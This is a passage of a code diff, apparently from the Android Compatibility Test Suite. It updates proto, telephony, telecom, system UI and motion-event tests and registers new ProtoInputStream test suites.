- assertEquals(0, ProtoOutputStream.getSizePosFromToken(0xffffffff00000000L));
+ assertEquals(0xffffffff, ProtoStream.getOffsetFromToken(0xffffffffffffffffL));
+ assertEquals(0, ProtoStream.getOffsetFromToken(0xffffffff00000000L));
}
/**
@@ -617,9 +618,9 @@
// Check this, because it's really useful, and if we lose the message it'll be
// harder to debug typos.
assertEquals("Mismatched startObject/endObject calls. Current depth 2"
- + " token=Token(val=0x2017fffd0000000a depth=2 object=2 tagSize=1 sizePos=10)"
+ + " token=Token(val=0x2017fffd0000000a depth=2 object=2 tagSize=1 offset=10)"
+ " expectedToken=Token(val=0x2017fffc0000000a depth=2 object=3 tagSize=1"
- + " sizePos=10)", ex.getMessage());
+ + " offset=10)", ex.getMessage());
}
}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
index 1802fd0..97b25d6 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
@@ -42,6 +42,24 @@
suite.addTestSuite(ProtoOutputStreamEnumTest.class);
suite.addTestSuite(ProtoOutputStreamObjectTest.class);
+ suite.addTestSuite(ProtoInputStreamDoubleTest.class);
+ suite.addTestSuite(ProtoInputStreamFloatTest.class);
+ suite.addTestSuite(ProtoInputStreamInt32Test.class);
+ suite.addTestSuite(ProtoInputStreamInt64Test.class);
+ suite.addTestSuite(ProtoInputStreamUInt32Test.class);
+ suite.addTestSuite(ProtoInputStreamUInt64Test.class);
+ suite.addTestSuite(ProtoInputStreamSInt32Test.class);
+ suite.addTestSuite(ProtoInputStreamSInt64Test.class);
+ suite.addTestSuite(ProtoInputStreamFixed32Test.class);
+ suite.addTestSuite(ProtoInputStreamFixed64Test.class);
+ suite.addTestSuite(ProtoInputStreamSFixed32Test.class);
+ suite.addTestSuite(ProtoInputStreamSFixed64Test.class);
+ suite.addTestSuite(ProtoInputStreamBoolTest.class);
+ suite.addTestSuite(ProtoInputStreamStringTest.class);
+ suite.addTestSuite(ProtoInputStreamBytesTest.class);
+ suite.addTestSuite(ProtoInputStreamEnumTest.class);
+ suite.addTestSuite(ProtoInputStreamObjectTest.class);
+
return suite;
}
}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index 7328762..c85f8b7 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 072f2af..b8a978d 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 10939c6..b3c4054 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..4a8cc780 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -124,7 +124,8 @@
FutureTask<Point> task = new FutureTask<>(() -> {
final int[] viewLocation = new int[2];
viewHolder[0].getLocationOnScreen(viewLocation);
- return new Point(viewLocation[0], viewLocation[1]);
+ // Set y position to the center of the view, to make sure it is away from the status bar
+ return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2);
});
mActivity.runOnUiThread(task);
Point viewLocation = task.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 23fa9a0..44d0f46 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -229,6 +229,15 @@
int mixedIconColor = mixSrcOver(background, iconColor);
int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+ float [] hsvMixedIconColor = new float[3];
+ float [] hsvMixedPartialColor = new float[3];
+ Color.RGBToHSV(Color.red(mixedIconColor), Color.green(mixedIconColor),
+ Color.blue(mixedIconColor), hsvMixedIconColor);
+ Color.RGBToHSV(Color.red(mixedIconPartialColor), Color.green(mixedIconPartialColor),
+ Color.blue(mixedIconPartialColor), hsvMixedPartialColor);
+
+ float maxHsvValue = Math.max(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
+ float minHsvValue = Math.min(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
@@ -236,6 +245,7 @@
Stats s = new Stats();
float eps = 0.005f;
+ float [] hsvPixel = new float[3];
for (int c : pixels) {
if (isColorSame(c, background)) {
s.backgroundPixels++;
@@ -243,7 +253,9 @@
}
// What we expect the icons to be colored according to the spec.
- if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)) {
+ Color.RGBToHSV(Color.red(c), Color.green(c), Color.blue(c), hsvPixel);
+ if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)
+ || (hsvPixel[2] >= minHsvValue && hsvPixel[2] <= maxHsvValue)) {
s.iconPixels++;
continue;
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 36db13a..ba8be5e 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -176,9 +176,11 @@
// GIVEN a managed call
placeAndVerifyCall();
- verifyConnectionForOutgoingCall().setActive();
+ Connection outgoing = verifyConnectionForOutgoingCall();
+ outgoing.setActive();
assertTrue(connectionService.waitForEvent(
MockConnectionService.EVENT_CONNECTION_SERVICE_FOCUS_GAINED));
+ assertCallState(mInCallCallbacks.getService().getLastCall(), Call.STATE_ACTIVE);
// WHEN place another call has the same ConnectionService as the existing call
placeAndVerifyCall();
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index e4a628a..c477ce4 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -616,22 +616,12 @@
}
for(String plmn : plmns) {
- if (plmn.length() > 6 || plmn.length() < 5) {
- fail("Invalid Length for PLMN-ID, must be 5 or 6: " + plmn);
- }
-
- // A record which is written in the SIM but empty will
- // be all f's
- if(android.text.TextUtils.isDigitsOnly(plmn)) {
- assertTrue(
- "PLMNs must be strings of digits 0-9,F! " + plmn,
- android.text.TextUtils.isDigitsOnly(plmn));
- } else {
- for (char c : plmn.toUpperCase().toCharArray()) {
- assertTrue("PLMNs must be strings of digits 0-9,F! " + plmn,
- Character.toUpperCase(c) == 'F');
- }
- }
+ assertTrue(
+ "Invalid Length for PLMN-ID, must be 5 or 6! plmn=" + plmn,
+ plmn.length() >= 5 && plmn.length() <= 6);
+ assertTrue(
+ "PLMNs must be strings of digits 0-9! plmn=" + plmn,
+ android.text.TextUtils.isDigitsOnly(plmn));
}
}
diff --git a/tests/tests/text/res/values/style.xml b/tests/tests/text/res/values/style.xml
index b122101..e62d3c6 100644
--- a/tests/tests/text/res/values/style.xml
+++ b/tests/tests/text/res/values/style.xml
@@ -16,11 +16,11 @@
-->
<resources>
- <style name="customFont">
- <item name="android:fontFamily">@font/samplefont</item>
- </style>
- <style name="customFontWithStyle">
- <item name="android:fontFamily">@font/samplefont</item>
- <item name="android:textStyle">bold|italic</item>
- </style>
+ <style name="customFont">
+ <item name="android:fontFamily">@font/samplefont</item>
+ </style>
+ <style name="customFontWithStyle">
+ <item name="android:fontFamily">@font/samplefont</item>
+ <item name="android:textStyle">bold|italic</item>
+ </style>
</resources>